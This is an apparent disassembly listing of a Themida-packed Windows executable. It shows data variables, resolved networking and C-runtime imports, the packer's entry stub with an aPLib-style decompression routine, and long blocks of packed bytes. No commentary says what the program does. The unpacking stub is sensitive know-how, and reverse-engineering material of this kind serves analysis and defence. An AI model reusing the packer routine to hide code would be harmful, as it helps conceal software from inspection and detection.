dword_4D80D7	dd 0							; sub_428DC0:loc_428EB7r
		align 4
		dd 2Fh dup(0)
		db 3 dup(0)
byte_4D819B	db 0			; DATA XREF: sub_426B60+16o
					; sub_426B90+19o
		db 3 dup(0)
byte_4D819F	db 0			; DATA XREF: sub_426A90+4Co
		dd 6Fh dup(0)
		db 3 dup(0)
byte_4D835F	db 0			; DATA XREF: ___:0040828Fo
					; ___:00408720o ...
		dd 8 dup(0)
dword_4D8380	dd 0				dd 51h dup(0)
		db 0
byte_4D84C9	db 0			; DATA XREF: sub_427B10:loc_427BC0r
					; sub_427FD0:loc_428085r ...
		align 4
		dd 9Eh dup(0)
		db 0
dword_4D8745	dd 0							; sub_427FD0+7Dw ...
		align 4
		dd 1EDAh dup(0)
		db 0
byte_4E02B5	db 3 dup(0)		; DATA XREF: ___:00419F93o
					; sub_41A050+13o
		dd 1EB9h dup(0)
		db 3 dup(0)
byte_4E7D9F	db 0			; DATA XREF: sub_427D50+1Do
		dd 21h dup(0)
		db 0
byte_4E7E25	db 3 dup(0)		; DATA XREF: ___:00419FA3o
		dd 235h	dup(0)
		db 3 dup(0)
byte_4E86FF	db 0			; DATA XREF: sub_427D50+2Fo
		dd 1D5h	dup(0)
byte_4E8E54	db 0			; DATA XREF: sub_404CC0+299w
					; sub_410030:loc_410072r ...
byte_4E8E55	db 3 dup(0)		; DATA XREF: sub_404CC0+235o
					; sub_404CC0+874o ...
		dd 4 dup(0)
		db 2 dup(0)
word_4E8E6A	dw 0			; DATA XREF: sub_404CC0+2D4o
					; ___:00408734o ...
		dd 0Fh dup(0)
		db 0
byte_4E8EA9	db 0			; DATA XREF: sub_41F960+31w
					; sub_41F960+47w ...
		db 0
byte_4E8EAB	db 0			; DATA XREF: sub_418590+21o
					; sub_41D930+341o ...
		dd 6D2Ah dup(0)
dword_504354	dd 12BAh dup(0)	dword_508E3C	dd 1000h dup(0)						; ___:00419B9Do ...
dword_50CE3C	dd 333h	dup(0)						; ___:00419BB8o ...
dword_50DB08	dd 0							; sub_41A110+1Br ...
		dd 3 dup(0)
dword_50DB18	dd 0							; ___:0041FC3Dw ...
dword_50DB1C	dd 0							; sub_41FB90+2Aw ...
dword_50DB20	dd 0		dword_50DB24	dd 0							; ___:0041FC5Bw
dword_50DB28	dd 0		dword_50DB2C	dd 0							; ___:0041FC67w ...
dword_50DB30	dd 0							; ___:0041FC6Dw ...
dword_50DB34	dd 0							; ___:00420EA9o
dword_50DB38	dd 0							; sub_41FB90:loc_41FBB4r ...
dword_50DB3C	dd 0							; ___:0041FC81w
dword_50DB40	dd 0							; sub_420630+41w ...
dword_50DB44	dd 0							; sub_420630+7Fr
dword_50DB48	dd 0							; sub_420630+92r ...
dword_50DB4C	dd 0							; sub_420630+148r
		dd 3 dup(0)
dword_50DB5C	dd 0							; ___:0041C2A5o
dword_50DB60	dd 0							; sub_423820+5r ...
dword_50DB64	dd 0							; ___:00423FABr ...
		dd 7CEh	dup(0)
dword_50FAA0	dd 6 dup(0)						; ___:00423EAFo ...
dword_50FAB8	dd 196h	dup(0)						; sub_423760+6Do
dword_510110	dd 0		word_510114	dw 0			; DATA XREF: sub_424F70+A9r
		align 4
word_510118	dw 0			; DATA XREF: sub_4253C0+45r
					; sub_4257F0+DAr
		align 4
dword_51011C	dd 0				dd 0
byte_510124	db 0			; DATA XREF: sub_4267D0:loc_426830r
					; sub_4267D0+97w
		align 4
dword_510128	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_427B10+D9r
dword_51012C	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_427B10+45r
dword_510130	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_427B10+54r ...
		align 8
dword_510138	dd 80h dup(0)						; sub_427D50+129o
dword_510338	dd 0		dword_51033C	dd 0				dd 1Dh dup(0)
dword_5103B4	dd 0							; ___:0042C40Dr ...
dword_5103B8	dd 0							; sub_42DE00:loc_42DE96r ...
dword_5103BC	dd 0		; resolved to->WS2_32.connect					; sub_432570+2Dr ...
dword_5103C0	dd 0		dword_5103C4	dd 0							; sub_431560r ...
dword_5103C8	dd 0		dword_5103CC	dd 0							; sub_4309A0+111w ...
dword_5103D0	dd 0							; sub_4309A0+F6r ...
dword_5103D4	dd 0							; ___:loc_4316A0r
dword_5103D8	dd 0		; resolved to->KERNEL32.InterlockedCompareExchange					; sub_4322D0+2Cr ...
		dd 2 dup(0)
		dd 0
		dd 13Eh	dup(0)
dword_5108E0	dd 10h dup(0)						; sub_431470:loc_4314A0o ...
dword_510920	dd 8 dup(0)						; sub_430830+25o ...
dword_510940	dd 8 dup(0)						; sub_431980+25o ...
dword_510960	dd 8 dup(0)						; sub_432850+84o ...
dword_510980	dd 8 dup(0)						; sub_432850+8Bo ...
dword_5109A0	dd 9 dup(0)						; sub_4309A0:loc_430AB7o ...
		dd 0FFFFFFFFh, 3 dup(0)
		dd 0FFFFFFFFh, 18Ah dup(0)
		dd 5 dup(3F479360h), 5 dup(23D56E37h), 5 dup(18A891EFh)
		dd 5 dup(738171D7h), 5 dup(3F08B8E6h), 5 dup(7099C5EEh)
		dd 5 dup(69DA3F7Ch), 5 dup(4A685A8h), 5	dup(110F1021h)
		dd 5 dup(0A437A86h), 5 dup(5111666Dh), 1Eh dup(0)
		dd 7099C5EEh, 10h dup(0)
		dd 5111666Dh, 59h dup(0)
		dd 738171D7h, 1Ch dup(0)
		dd 110F1021h, 14h dup(0)
		dd 23D56E37h, 52h dup(0)
		dd 3F479360h, 1Bh dup(0)
		dd 0A437A86h, 0Bh dup(0)
		dd 69DA3F7Ch, 0Ch dup(0)
		dd 3F08B8E6h, 2Bh dup(0)
		dd 4A685A8h, 11h dup(0)
		dd 18A891EFh, 0Ah dup(0)
		dd 28B0000h, 28C0000h, 28D0000h
dword_511718	dd 28D1350h			dd 28D15ADh
dword_511720	dd 28D18A6h			dd 28D1C42h, 28E0000h
dword_51172C	dd 28F0000h			dd 2900000h, 29003A4h, 290081Ch, 2900B8Bh
dword_511740	dd 2910000h						; sub_40E870+25Ar ...
dword_511744	dd 2910445h	dword_511748	dd 291068Bh			dd 29107F9h, 2910BECh
dword_511754	dd 2920000h						; sub_40EE40+15Er ...
		dd 292035Ch
dword_51175C	dd 2930000h						; sub_40E870+22Cr
		dd 2940000h
dword_511764	dd 29401D0h						; sub_4208E0+285r ...
		dd 2950000h
dword_51176C	dd 295108Eh						; sub_40E870+24Cr
		dd 10h dup(0)
		dd 76F36C5Bh, 0Bh dup(0)
dword_5117E0	dd 2710000h						; sub_420630+FEr
		dd 2720000h, 2730000h, 273077Bh, 27309DAh, 2730D6Ch, 2740000h
		dd 27400EAh, 274082Ch, 2740B7Ah, 2740DC3h, 2750000h, 2750628h
		dd 27506C8h, 2750AFDh, 2760000h, 27602C6h, 2760640h, 2760809h
		dd 2760BCCh, 2770000h, 2770596h, 27705EDh, 27709F0h, 2770BD4h
		dd 2780000h, 27802A4h, 278048Ch, 27806AAh, 27807E5h, 2780968h
		dd 2780A0Ch, 2790000h
dword_511864	dd 27A0000h	dword_511868	dd 27A0858h	dword_51186C	dd 27A0960h			dd 7C901005h, 7C9010EDh, 27A0B76h, 27A0BE4h, 27A0BFBh
		dd 27B0000h, 27B05EBh, 27B08DBh, 27B0CDAh, 27C0000h, 27D0000h
		dd 27D0818h, 27E0000h, 27F0000h, 27F0920h
dword_5118AC	dd 27F0BB0h						; sub_410030+47r ...
		dd 27F0CA3h, 2800000h, 28005B2h, 2810000h, 2811098h, 2820000h
		dd 2830000h
dword_5118CC	dd 2831725h			dd 2831862h, 2831BD4h
dword_5118D8	dd 2840000h						; sub_41B5B0+2Fr ...
		dd 284012Ch
dword_5118E0	dd 2840881h						; sub_4204D0+2Er ...
		dd 2850000h, 2850359h, 2860000h
dword_5118F0	dd 286040Bh			dd 286073Fh, 2870000h, 2880000h, 2881019h, 288196Fh, 2890000h
		dd 289071Fh, 2890C30h
		dd 28A0000h
dword_511918	dd 28A0416h						; sub_420630:loc_42067Cr ...
		dd 1Ah dup(0)
		dd 71B2578Ch, 71B2517Fh, 71B25099h, 0Bh	dup(0)
		dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h
		dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh
dword_5119E0	dd 760AC190h			dd 0Dh dup(0)
; ---------------------------------------------------------------------------
		xchg	eax, esp
		pop	esp
		retn
; ---------------------------------------------------------------------------
		ja	short loc_511A99
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 77h
		db 0DBh	; Û
		db 0F1h	; ñ
		db 0C1h	; Á
		db  77h	; w
; ---------------------------------------------------------------------------


loc_511A24:				; CODE XREF: ___:00511A34j
		movsb
		icebp
		sal	dword ptr [edi-28h], 23h
		mov	byte ptr [edi+75h], 0D6h
		les	esi, [edi+67h]
		popf
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		jmp	short loc_511A24
; ---------------------------------------------------------------------------
		sal	dword ptr [edi-54h], 17h
		mov	byte ptr [edi-52h], 2Dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h, 77C40BB1h
		dd 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h, 77C3A3DBh
		dd 77C4186Ah
dword_511A6C	dd 77C3F931h	; resolved to->MSVCRT.sprintf					; sub_42E5B0+53r ...
dword_511A70	dd 77C1F2BCh	; resolved to->MSVCRT._errno		dd 77C371FAh, 77C36DF2h
dword_511A7C	dd 77C5F97Ch	; resolved to->MSVCRT.__mb_cur_max		dd 77C4EE2Fh, 77C227FAh, 77C2C0C3h
dword_511A8C	dd 77C40E13h	; resolved to->MSVCRT.fprintfdword_511A90	dd 77C5FC80h	; resolved to->MSVCRT._iob					; sub_42DE00+4Ar ...
; ---------------------------------------------------------------------------
		imul	dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		db 72h
; ---------------------------------------------------------------------------


loc_511A99:				; CODE XREF: ___:00511A1Bj
		sbb	eax, esp
; ---------------------------------------------------------------------------
		db 77h
dword_511A9C	dd 77C47BE0h	; resolved to->MSVCRT.strrchrdword_511AA0	dd 77C4173Bh	; resolved to->MSVCRT.fwritedword_511AA4	dd 77C4139Ch	; resolved to->MSVCRT.fseekdword_511AA8	dd 77C4624Eh	; resolved to->MSVCRT._stricmpdword_511AAC	dd 77C41574h	; resolved to->MSVCRT.ftelldword_511AB0	dd 77C411FBh	; resolved to->MSVCRT.fread		dd 77C40E76h
dword_511AB8	dd 77C47E61h	; resolved to->MSVCRT.wcscat					; ___:0041C3DAr
; ---------------------------------------------------------------------------
		adc	al, dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C40AB1h, 77C4FA10h
dword_511AC8	dd 77C371D3h	; resolved to->MSVCRT.rand					; sub_41BA50+17Er ...
		dd 77C371BCh
dword_511AD0	dd 77C2C21Bh	; resolved to->MSVCRT.free					; sub_42F2C0+34r ...
		dd 77C2C407h
dword_511AD8	dd 77C47920h	; resolved to->MSVCRT.strncat		dd 77C39E7Eh
dword_511AE0	dd 77C47A50h	; resolved to->MSVCRT.strncmp					; sub_42DE00+90r
dword_511AE4	dd 77C3FA76h	; resolved to->MSVCRT._snprintf					; sub_426070+C8r ...
		db 90h
		db 0CFh, 0C1h, 77h
dword_511AEC	dd 77C47660h	; resolved to->MSVCRT.strchr		db 8Ah,	0FFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		mul	byte ptr [esi]
		retn	0E777h
; ---------------------------------------------------------------------------
		db 14h,	0C2h, 77h
		dd 77C29CC5h
dword_511B00	dd 77C47CE5h	; resolved to->MSVCRT.strtok					; sub_41BD90+5Dr
dword_511B04	dd 77C47C60h	; resolved to->MSVCRT.strstr					; sub_410030+1126r ...
dword_511B08	dd 77C47A90h	; resolved to->MSVCRT.strncpy					; ___:00419CDAr
		dd 77C29CDDh, 77C293C7h
dword_511B14	dd 77C1BF18h	; resolved to->MSVCRT.atoi					; sub_422B40+203r ...
		dd 77C35F0Dh
dword_511B1C	dd 77C5F988h	; resolved to->MSVCRT._pctype		dd 77C46170h, 77C1C561h, 77C46125h
		dd 77C46320h
		dd 19h dup(0)
		dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh	dup(0)
		dd 7CA41110h, 0Bh dup(0)
		dd 28A0C78h
off_511C00	dd offset sub_5F67AE	; DATA XREF: ___:00419FBDr
					; sub_41A050+2Dr ...
		dd 0Bh dup(0)
		dd 71AB951Eh, 71AB3E00h
dword_511C38	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_425100:loc_4251B2r ...
dword_511C3C	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_42B8E0:loc_42B99Br
		dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h
dword_511C50	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError		dd 71AB4544h, 71AC0B50h
dword_511C5C	dd 71AB2B66h	; resolved to->WS2_32.ntohs		dd 71AB2BC0h
dword_511C64	dd 71AB2D0Fh	; resolved to->WS2_32.recvfromdword_511C68	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_42B8E0+F9r
		dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh
		dd 71AB2A5Eh, 71AB4FD4h
dword_511C88	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa		dd 71AB88D3h, 71AB2BC0h
dword_511C94	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_41A7D0+48r ...
dword_511C98	dd 71AC1028h	; resolved to->WS2_32.acceptdword_511C9C	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_41F960+198r ...
dword_511CA0	dd 71AB428Ah	; resolved to->WS2_32.send					; ___:004217E1r ...
dword_511CA4	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_4253C0+8Br ...
		dd 71AB2BF4h
dword_511CAC	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_42C830+E8r
		dd 71ABE479h, 11h dup(0)
		dd 76D6AC1Dh, 4C1h dup(0)
___		ends

; Section 2. (virtual address 00113000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00113000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 513000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 00114000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00114000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 514000h
		dd 7C801A24h, 7C81CDDAh, 0
aE		db 'Ïe',9,']',0
		align 10h
		dd 114050h, 114000h, 3 dup(0)
		dd 114079h, 11400Ch, 5 dup(0)
aKernel32_dll_1	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 00115000)
; Virtual size			: 00109000 (1085440.)
; Section size in file		: 00109000 (1085440.)
; Offset to raw	data for section: 00115000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
Themida_	segment	para public 'CODE' use32
		assume cs:Themida_
		;org 515000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 9FB0ACBBh, 42C95h, 5F805h, 15A172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 00515265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005824F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00585A5B SIZE 00000062 BYTES
; FUNCTION CHUNK AT 00585CD1 SIZE 00000047 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_515086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_515041
		popa
		jmp	short loc_515076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF005150h, 0FFFFFFFFh, 3DFFFFFFh
; ---------------------------------------------------------------------------
		inc	eax


loc_515041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_51504E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_51506D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_515074


loc_51506D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_51504E
; ---------------------------------------------------------------------------


loc_515074:				; CODE XREF: start+57j
		mov	edi, eax


loc_515076:				; CODE XREF: start+1Bj
		jmp	loc_515265
; ---------------------------------------------------------------------------
		add	eax, edi
		mov	ecx, 11526Ah
		add	ecx, edi
		jmp	short loc_515090
; ---------------------------------------------------------------------------


loc_515086:				; CODE XREF: start+8j
		mov	eax, offset loc_5824F2
		mov	ecx, offset word_51526A


loc_515090:				; CODE XREF: start+70j
		push	eax
		push	ecx
		call	sub_51511B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_515265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 224Eh
		db 90h
		db 0C8h, 7Ch, 30h
		dd 818C18h, 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h
		dd 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh
		dd 0D8B164C8h, 88BA75EBh, 2850A040h, 5A4E2BEFh,	1848C86h
		dd 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h,	0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 22264C98h
		db 91h,	0C8h, 64h

; =============== S U B	R O U T	I N E =======================================



sub_51511B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_515127:				; CODE XREF: sub_51511B:loc_51513Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_515132:				; CODE XREF: sub_51511B+7Aj
					; sub_51511B+C3j ...
		add	dl, dl
		jnz	short loc_51513B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51513B:				; CODE XREF: sub_51511B+19j
		jnb	short loc_515127
		add	dl, dl
		jnz	short loc_515146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515146:				; CODE XREF: sub_51511B+24j
		jnb	short loc_515197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_515153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515153:				; CODE XREF: sub_51511B+31j
		jnb	loc_515238
		add	dl, dl
		jnz	short loc_515162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515162:				; CODE XREF: sub_51511B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_51516D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51516D:				; CODE XREF: sub_51511B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_515178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515178:				; CODE XREF: sub_51511B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_515183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515183:				; CODE XREF: sub_51511B+61j
		adc	eax, eax
		jz	short loc_51518D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_51518D:				; CODE XREF: sub_51511B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_515132
; ---------------------------------------------------------------------------


loc_515197:				; CODE XREF: sub_51511B:loc_515146j
		mov	eax, 1


loc_51519C:				; CODE XREF: sub_51511B:loc_5151B0j
		add	dl, dl
		jnz	short loc_5151A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151A5:				; CODE XREF: sub_51511B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_5151B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151B0:				; CODE XREF: sub_51511B+8Ej
		jb	short loc_51519C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_5151E3
		mov	ecx, 1


loc_5151C0:				; CODE XREF: sub_51511B:loc_5151D4j
		add	dl, dl
		jnz	short loc_5151C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151C9:				; CODE XREF: sub_51511B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_5151D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151D4:				; CODE XREF: sub_51511B+B2j
		jb	short loc_5151C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_5151E3:				; CODE XREF: sub_51511B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_5151F1:				; CODE XREF: sub_51511B:loc_515205j
		add	dl, dl
		jnz	short loc_5151FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151FA:				; CODE XREF: sub_51511B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_515205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515205:				; CODE XREF: sub_51511B+E3j
		jb	short loc_5151F1
		cmp	eax, 7D00h
		jnb	short loc_515228
		cmp	eax, 500h
		jb	short loc_515223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515223:				; CODE XREF: sub_51511B+F8j
		cmp	eax, 7Fh
		ja	short loc_51522B


loc_515228:				; CODE XREF: sub_51511B+F1j
		add	ecx, 2


loc_51522B:				; CODE XREF: sub_51511B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515238:				; CODE XREF: sub_51511B:loc_515153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_515259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515259:				; CODE XREF: sub_51511B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_51511B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_515265:				; CODE XREF: start:loc_515076j
					; start+9Dj
		jmp	loc_5824F2
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_51526A	dw 38E9h		; DATA XREF: start+77o
		dd 1533564h, 4F087BEh, 151FD08h, 0C4FF1FC2h, 0DD215C35h
		dd 0DD58CF7Ah, 0E1032146h, 54C0FB0Eh, 696D6568h, 46616438h
		dd 3622FAFBh, 0C8FB0FE1h, 0AE42B811h, 0C012EEFh, 33E5F557h
		dd 35C2012Dh, 655203FEh, 72617473h, 0C5704199h,	0F278E92Eh
		dd 59FD3C59h, 4303B892h, 0E17122BFh, 24FCEB0Bh,	0AF3E848Bh
		dd 0AE178FCh, 8E22F8EEh, 3FBD1BE1h, 98F3B47Ah, 758D0370h
		dd 0E4C58BF8h, 0E86038D4h, 81005D44h, 0E33573EDh, 3095890Ah
		dd 0B50D1955h, 85881D69h, 83304045h, 2655BD10h,	0C740E70h
		dd 0E245E88Bh, 0C2D188B8h, 44708EF7h, 953E3824h, 456A8015h
		dd 29A3E830h, 3D749A68h, 0DF280783h, 4B250F0Ah,	0D5480A89h
		dd 214E985h, 55E8EC2Bh,	83EC8B05h, 0EE60D8C4h, 20EA815Ah
		dd 8B043661h, 0D845C7DAh, 0E8C088Dh, 81088940h,	80637D7Eh
		dd 3F0F741Dh, 83920820h, 0FF104CCBh, 0EB314312h, 61DC36E1h
		dd 0C90A26BAh, 34604C2h, 0FF7CC481h, 22490247h,	458D00AAh
		dd 85D8B80h, 19A285C7h,	8D5025h, 88C3D10Ah, 89544118h
		dd 0BD51810Bh, 755D0106h, 14274AE3h, 7664BA8Dh,	8A807502h
		dd 48F4BB0Eh, 7ABB85Bh,	0D3785437h, 80FE6D0h, 0F7754B1Dh
		dd 47C3AF82h, 314A9246h, 4251F946h, 8A5D61D1h, 0AFF0D003h
		dd 5045EEECh, 51EB4DFCh, 46E4AD04h, 403E6280h, 849BBAF7h
		dd 7D0C3473h, 3E7FEB0Ch, 6D6486F8h, 0E26F012h, 4A10F454h
		dd 0F065C10Ah, 0F801D604h, 0C203E0D1h, 332800CBh, 301C8ADBh
		dd 72E6FB80h, 390A0A61h, 0EBE90577h, 3F2293F7h,	0DB36114h
		dd 8FB660Ah, 0C3FA1E7Ah, 10610A75h, 0B72411Ah, 77460A86h
		dd 10F52406h, 0C3F05D01h, 7D83F4ECh, 0B0720298h, 76C00CD9h
		dd 0AA32A5BBh, 700EF826h, 0A8508D3Bh, 0FC55053Bh, 4E78820Fh
		dd 0AA0DB0BDh, 0BA87F238h, 5B90708h, 0BDFC4270h, 0FE0037F0h
		dd 0E49470Fh, 22B9FA75h, 0BBE06A2Eh, 0F1125101h, 6EEB823Bh
		dd 868EC002h, 7FE43A1Ah, 7E65700Bh, 8AB98B36h, 0E927DE26h
		dd 6B598FC8h, 42C58EFh,	60392113h, 7D8A01C4h, 45820525h
		dd 211A0898h, 0C4005848h, 9B8A5EB6h, 6810667h, 8810A1F0h
		dd 511C2505h, 8B435C54h, 0FE9FFh, 3035F817h, 0DD06C9A5h
		dd 2A0028E8h, 9FC33288h, 765CDF8Ch, 0CEA302Ch, 1110B531h
		dd 0C9B0F200h, 428C23A7h, 0F1C6CA35h, 5C611E94h, 0C282C0E0h
		dd 3C175367h, 2DE62F4h,	94DFE480h, 388C3191h, 673D34CBh
		dd 5B4E3980h, 0B8100F76h, 43D510Fh, 0CC3B8ED1h,	3A757646h
		dd 11B02E09h, 65E4ECEFh, 9A069029h, 5C58400h, 0A92D968Eh
		dd 151E53B7h, 1429C204h, 36AB718Ch, 0ECC80EE7h,	812BC3FFh
		dd 22000477h, 84C1341Dh, 647533F9h, 1D3FBC20h, 0EF990ADDh
		dd 41CC0230h, 678CE2ECh, 0E4FFCC7Fh, 0FA453340h, 6094E9h
		dd 8C52C462h, 8211254Dh, 33B1AA21h, 84425AABh, 1D562413h
		dd 0EE825E60h, 8281AA38h, 739F63Eh, 10B9D58Ah, 97292313h
		dd 8C674143h, 4404A8DBh, 5A1C5246h, 4D8A88C4h, 424015C4h
		dd 0EAEBC452h, 3A131360h, 71CA9Ch, 12360E0Fh, 0D289F274h
		dd 9DD72426h, 67E97701h, 0A740DA8Dh, 0EE776F4h,	1005E281h
		dd 6147078Ch, 0FB070D90h, 0CA0B62F9h, 425E86E3h, 1AE2521Dh
		dd 0B9530h, 2418194Bh, 6A86C8F6h, 2952350h, 1E642CA7h
		dd 6B179960h, 730F5001h, 6D7AEEA5h, 0EADFA841h,	72FE157h
		dd 3BAA58BCh, 3E7BB14Fh, 46188AD9h, 10EA1832h, 74CE1BC0h
		dd 199FEEh, 0F35A970Ch,	0EF444745h, 346BB831h, 30053012h
		dd 5AD27FEFh, 47A9EC00h, 59A36DF0h, 692B0017h, 1E28275h
		dd 1A121F7Dh, 320EA5Bh,	0F4993B55h, 0C3820CFCh,	10166E62h
		dd 1858F52h, 0B958CA81h, 0D1801C30h, 0B380D282h, 0C0EE338Ch
		dd 0F7F4AEECh, 0E572830Fh, 0C9893Ah, 7AB2CF90h,	0C010384Bh
		dd 56C70679h, 443591B7h, 8601F277h, 8161338Ah, 2893C5D0h
		dd 0EB1D07D1h, 592693ADh, 0A3D62806h, 65A20FEEh, 96119A9h
		dd 100E4917h, 62750F1h,	1120EA30h, 0B0D62764h, 531F3F2Ch
		dd 0D79FDE9Fh, 988320A0h, 2A00900Dh, 3D2B2380h,	5649FEh
		dd 0BFE3669Ch, 2D0E72E7h, 368BFC0Fh, 0D00FD32h,	0F389ADA8h
		dd 2B0200C1h, 7BBC793Bh, 0FC672691h, 0F7E48521h, 4DAF800h
		dd 43005E24h, 18B0139Bh, 405A7DA8h, 443087F2h, 831E396Ch
		dd 7C71C373h, 19002F95h, 0EA1FFF34h, 0F14F804h,	21AD2773h
		dd 9002C221h, 2B20F0C9h, 659C0900h, 0E11A2967h,	8649C07Dh
		dd 71D2AF84h, 20195C00h, 521CBAC2h, 0C54C0FA0h,	0BFFD9759h
		dd 95441100h, 0E89114C6h, 0AE0C3BF8h, 20838746h, 0CEF700EDh
		dd 0E3C181B8h, 7800DF17h, 6F402102h, 7CADA7F6h,	0CEF1C659h
